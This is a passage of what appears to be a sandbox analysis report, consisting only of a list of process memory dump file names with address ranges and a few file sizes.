                                                                                                                                                                                                                                                                                                                                                  • memory/1748-87-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1904-160-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/1964-251-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2064-61-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2116-67-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2120-254-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2120-196-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2164-84-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2176-255-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2248-138-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2312-143-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2324-52-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2608-224-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2608-167-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2648-53-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2668-202-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2668-241-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2696-54-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2776-165-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2776-123-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2776-88-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2776-74-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2784-73-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2784-185-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/2788-124-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3000-92-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3020-98-0x0000014075DF0000-0x0000014075DF1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                  • memory/3020-106-0x0000014075FA0000-0x0000014075FA1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                  • memory/3020-81-0x00007FFCD2DD0000-0x00007FFCD37BC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3020-69-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3064-89-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3064-172-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3064-129-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3372-151-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3576-58-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3596-55-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3684-86-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3688-60-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3712-56-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3784-62-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3788-78-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3788-93-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3788-205-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3792-235-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3856-161-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3860-257-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3880-222-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3880-71-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3892-163-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3904-118-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/3904-83-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4020-116-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4024-223-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4048-70-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4112-95-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4128-119-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4140-219-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4144-246-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4148-190-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4152-131-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4160-171-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4168-183-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4180-176-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4180-135-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4192-122-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4192-200-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4196-199-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4208-96-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4224-140-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4228-121-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4264-133-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4268-128-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4284-132-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4292-136-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4304-97-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4312-127-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4332-174-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4332-206-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4356-178-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4372-173-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4380-242-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4412-139-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4432-99-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4436-141-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4436-212-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4464-137-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4480-228-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4492-100-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4496-142-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4496-250-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4504-179-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4504-209-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4504-231-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4512-243-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4512-134-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4520-175-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4520-207-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4532-213-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4532-101-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4540-181-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4560-177-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4584-146-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4588-229-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4612-102-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4616-180-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4632-145-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4640-230-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4640-208-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4676-103-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4676-216-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4680-149-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4688-104-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4700-244-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4728-215-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4728-182-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4744-256-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4744-150-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4752-144-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4768-220-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4768-238-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4788-214-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4800-249-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4804-191-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4812-186-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4844-105-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4848-217-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4864-148-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4864-184-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4884-245-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4888-192-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4904-107-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4916-187-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4924-153-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4924-234-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4932-108-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4948-154-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4968-109-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4972-155-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4980-218-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4992-226-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/4996-110-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5004-188-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5008-236-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5016-159-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5036-111-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5052-239-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5056-158-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5080-113-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5096-156-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5116-114-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5116-197-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5136-258-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5172-259-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5236-260-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5300-261-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5364-262-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5424-263-0x0000000000000000-mapping.dmp
                                                                                                                                                                                                                                                                                                                                                  • memory/5484-264-0x0000000000000000-mapping.dmp